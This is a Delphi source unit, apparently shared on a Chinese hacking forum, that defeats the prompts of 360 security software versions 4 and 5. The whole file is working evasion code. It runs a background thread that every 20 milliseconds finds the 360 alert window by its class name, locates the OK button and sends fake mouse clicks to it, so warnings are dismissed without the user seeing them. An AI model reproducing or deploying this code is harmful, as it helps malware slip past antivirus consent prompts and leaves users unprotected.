unit U_GuiHack360;
{
过360 4X 5X 源代码
By 雪落的瞬间 Q 418880764
简单方法演示没其他意思
Bbs Www.KillAbc.Cn
BLOG http://hi.baidu.com/cipherteam/
转载请保留以上说明
}
interface
uses
Windows,Messages;
function CreateFuck360Thread():Boolean;
implementation
function GetChildWindow(H_Parent:THandle;Str_Title:String):DWORD;
var
H_Handle:THandle;
P_WinInfo:PChar;
D_WinInfoSize:DWORD;
Int_Num:Integer;
begin
Result:=0;
Int_Num:=0;
D_WinInfoSize:=255;
try
GetMem(P_WinInfo,D_WinInfoSize);
ZeroMemory(P_WinInfo,D_WinInfoSize);
H_Handle:=GetWindow(H_Parent,GW_CHILD);
while H_Handle<>0 do
begin
GetClassName(H_Handle,P_WinInfo,D_WinInfoSize);
if P_WinInfo = ‘Button’ then
begin
GetWindowText(H_Handle,P_WinInfo,D_WinInfoSize);
if P_WinInfo=Str_Title then
begin
Result:=H_Handle;
Break;
end;
end;
H_Handle:=GetWindow(H_Handle,GW_HWNDNEXT);
Inc(Int_Num);
if Int_Num>100 then
begin
Break;
end;
end;
finally
FreeMem(P_WinInfo,D_WinInfoSize);
end;
end;
function ClickOkBtn():DWORD;
var
H_Handle:THandle;
P_WinInfo:PChar;
D_WinInfoSize:DWORD;
Int_Num:Integer;
begin
Result:=0;
Int_Num:=0;
D_WinInfoSize:=255;
try
GetMem(P_WinInfo,D_WinInfoSize);
ZeroMemory(P_WinInfo,D_WinInfoSize);
H_Handle:=GetDesktopWindow;
H_Handle:=GetTopWindow(H_Handle);
H_Handle:=GetWindow(H_Handle,GW_HWNDFIRST);
while H_Handle<>0 do
begin
GetClassName(H_Handle,P_WinInfo,D_WinInfoSize);
if P_WinInfo = ‘Afx:400000:0′ then
begin
GetWindowText(H_Handle,P_WinInfo,D_WinInfoSize);
if Length(P_WinInfo)=0 then
begin
H_Handle:=GetChildWindow(H_Handle,’确定’);
PostMessage(H_Handle,WM_LBUTTONDOWN,MK_LBUTTON,0);
PostMessage(H_Handle,WM_LBUTTONUP,MK_LBUTTON,0);
Result:= H_Handle;
Break;
end;
end else begin
H_Handle:=GetWindow(H_Handle,GW_HWNDNEXT);
end;
Inc(Int_Num);
if Int_Num>200 then
begin
Break;
end;
end;
finally
FreeMem(P_WinInfo,D_WinInfoSize);
end;
end;
procedure Fcuk360Thread(P_Param:Pointer);
begin
while True do
begin
ClickOkBtn;
Sleep(20);
end;
end;
function CreateFuck360Thread():Boolean;
var
D_ID,H_Handle:DWORD;
begin
Result:=False;
H_Handle:=CreateThread(nil,0,@Fcuk360Thread,nil,0,D_ID);
if H_Handle <> 0 then
begin
CloseHandle(H_Handle);
Result:=True;
end;
end;
end.
